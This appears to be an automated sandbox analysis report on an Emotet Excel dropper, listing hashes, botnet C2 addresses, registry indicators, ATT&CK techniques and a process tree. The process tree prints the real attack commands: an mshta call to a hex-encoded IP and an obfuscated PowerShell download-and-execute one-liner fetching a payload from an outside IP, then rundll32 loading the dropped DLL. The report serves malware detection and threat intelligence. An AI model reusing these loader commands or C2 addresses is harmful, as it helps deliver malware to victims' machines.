emotet | 9296f02a362c27b1e3a3b4119ede64ea52b6c0430fc70517e5146730c23c987d

Analysis

max time kernel
146s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
21/01/2022, 00:20

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General

Target

e85aa320fc84a740efaa1e2ce533bcda.xls
Size

70KB
MD5

e85aa320fc84a740efaa1e2ce533bcda
SHA1

3967a9b469537e2d5854727020d298f37edded63
SHA256

9296f02a362c27b1e3a3b4119ede64ea52b6c0430fc70517e5146730c23c987d
SHA512

4968e18fad786be5f207f6124f266ce1844dc7e797688308e692ff7a788ca1558abf6cdcaa5b692b093740b4eeff070aeb14bf18ab1b936a3b6c02e4d8f67572

Score

10^/10

emotet epoch4 banker persistence suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3712	1388	cmd.exe	52

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 336 created 1332	336	WerFault.exe	64

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
41	1332	mshta.exe
42	1920	powershell.exe
44	1920	powershell.exe
73	3924	rundll32.exe
76	3924	rundll32.exe

Downloads MZ/PE file
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 4 IoCs

pid	Process
3116	rundll32.exe
3232	rundll32.exe
3220	rundll32.exe
3924	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Klcsnuf\yrdxz.utu	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2684	1332	WerFault.exe	64

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1388	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1920	powershell.exe
1920	powershell.exe
2684	WerFault.exe
2684	WerFault.exe
3924	rundll32.exe
3924	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1920	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
1388	EXCEL.EXE
1388	EXCEL.EXE
1388	EXCEL.EXE
1388	EXCEL.EXE
1388	EXCEL.EXE
1388	EXCEL.EXE
1388	EXCEL.EXE
1388	EXCEL.EXE
1388	EXCEL.EXE
1388	EXCEL.EXE
1388	EXCEL.EXE
1388	EXCEL.EXE
1388	EXCEL.EXE
1388	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 1388 wrote to memory of 3712	1388	EXCEL.EXE	60
PID 1388 wrote to memory of 3712	1388	EXCEL.EXE	60
PID 3712 wrote to memory of 1332	3712	cmd.exe	64
PID 3712 wrote to memory of 1332	3712	cmd.exe	64
PID 1332 wrote to memory of 1920	1332	mshta.exe	67
PID 1332 wrote to memory of 1920	1332	mshta.exe	67
PID 336 wrote to memory of 1332	336	WerFault.exe	64
PID 336 wrote to memory of 1332	336	WerFault.exe	64
PID 1920 wrote to memory of 1968	1920	powershell.exe	72
PID 1920 wrote to memory of 1968	1920	powershell.exe	72
PID 1968 wrote to memory of 3116	1968	cmd.exe	74
PID 1968 wrote to memory of 3116	1968	cmd.exe	74
PID 1968 wrote to memory of 3116	1968	cmd.exe	74
PID 3116 wrote to memory of 3232	3116	rundll32.exe	76
PID 3116 wrote to memory of 3232	3116	rundll32.exe	76
PID 3116 wrote to memory of 3232	3116	rundll32.exe	76
PID 3232 wrote to memory of 3220	3232	rundll32.exe	79
PID 3232 wrote to memory of 3220	3232	rundll32.exe	79
PID 3232 wrote to memory of 3220	3232	rundll32.exe	79
PID 3220 wrote to memory of 3924	3220	rundll32.exe	80
PID 3220 wrote to memory of 3924	3220	rundll32.exe	80
PID 3220 wrote to memory of 3924	3220	rundll32.exe	80

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\e85aa320fc84a740efaa1e2ce533bcda.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1388
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3712
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:1332
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1920
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1968
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3116
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3232
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Klcsnuf\yrdxz.utu",YTZDCvVvO
        8⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3220
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Klcsnuf\yrdxz.utu",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:3924
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1332 -s 1724
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:2684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:3992

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 503843eb574c6a2367cd6d50ba6299db C25sboTFCk+5gsrP8JQ7OQ.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:3052

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 1332 -ip 1332
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:336

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1388-138-0x00007FFC69D90000-0x00007FFC69DA0000-memory.dmp

Filesize
64KB

Download
memory/1388-256-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

Filesize
64KB

Download
memory/1388-131-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

Filesize
64KB

Download
memory/1388-132-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

Filesize
64KB

Download
memory/1388-253-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

Filesize
64KB

Download
memory/1388-254-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

Filesize
64KB

Download
memory/1388-255-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

Filesize
64KB

Download
memory/1388-137-0x00007FFC69D90000-0x00007FFC69DA0000-memory.dmp

Filesize
64KB

Download
memory/1388-134-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

Filesize
64KB

Download
memory/1388-130-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

Filesize
64KB

Download
memory/1388-133-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

Filesize
64KB

Download
memory/1920-180-0x000002525FAC0000-0x000002525FB04000-memory.dmp

Filesize
272KB

Download
memory/1920-197-0x000002525FB90000-0x000002525FC06000-memory.dmp

Filesize
472KB

Download
memory/1920-181-0x0000025247426000-0x0000025247428000-memory.dmp

Filesize
8KB

Download
memory/1920-177-0x000002525F5B0000-0x000002525F5D2000-memory.dmp

Filesize
136KB

Download
memory/1920-176-0x0000025247423000-0x0000025247425000-memory.dmp

Filesize
8KB

Download
memory/1920-175-0x0000025247420000-0x0000025247422000-memory.dmp

Filesize
8KB

Download
memory/3116-194-0x0000000002EF0000-0x0000000002F16000-memory.dmp

Filesize
152KB

Download
memory/3220-211-0x0000000004D70000-0x0000000004D96000-memory.dmp

Filesize
152KB

Download
memory/3232-200-0x0000000004E50000-0x0000000004E76000-memory.dmp

Filesize
152KB

Download
memory/3232-209-0x0000000005220000-0x0000000005246000-memory.dmp

Filesize
152KB

Download
memory/3232-198-0x0000000002F20000-0x0000000002F46000-memory.dmp

Filesize
152KB

Download
memory/3232-202-0x0000000004F30000-0x0000000004F56000-memory.dmp

Filesize
152KB

Download
memory/3232-204-0x0000000005040000-0x0000000005066000-memory.dmp

Filesize
152KB

Download
memory/3232-206-0x00000000050A0000-0x00000000050C6000-memory.dmp

Filesize
152KB

Download
memory/3924-224-0x0000000004D50000-0x0000000004D76000-memory.dmp

Filesize
152KB

Download
memory/3924-222-0x0000000004C60000-0x0000000004C86000-memory.dmp

Filesize
152KB

Download
memory/3924-226-0x0000000004E80000-0x0000000004EA6000-memory.dmp

Filesize
152KB

Download
memory/3924-228-0x0000000004F60000-0x0000000004F86000-memory.dmp

Filesize
152KB

Download
memory/3924-230-0x0000000005150000-0x0000000005176000-memory.dmp

Filesize
152KB

Download
memory/3924-220-0x0000000004B80000-0x0000000004BA6000-memory.dmp

Filesize
152KB

Download
memory/3924-218-0x0000000004B20000-0x0000000004B46000-memory.dmp

Filesize
152KB

Download
memory/3924-216-0x0000000004910000-0x0000000004936000-memory.dmp

Filesize
152KB

Download
memory/3924-214-0x00000000042F0000-0x0000000004316000-memory.dmp

Filesize
152KB

Download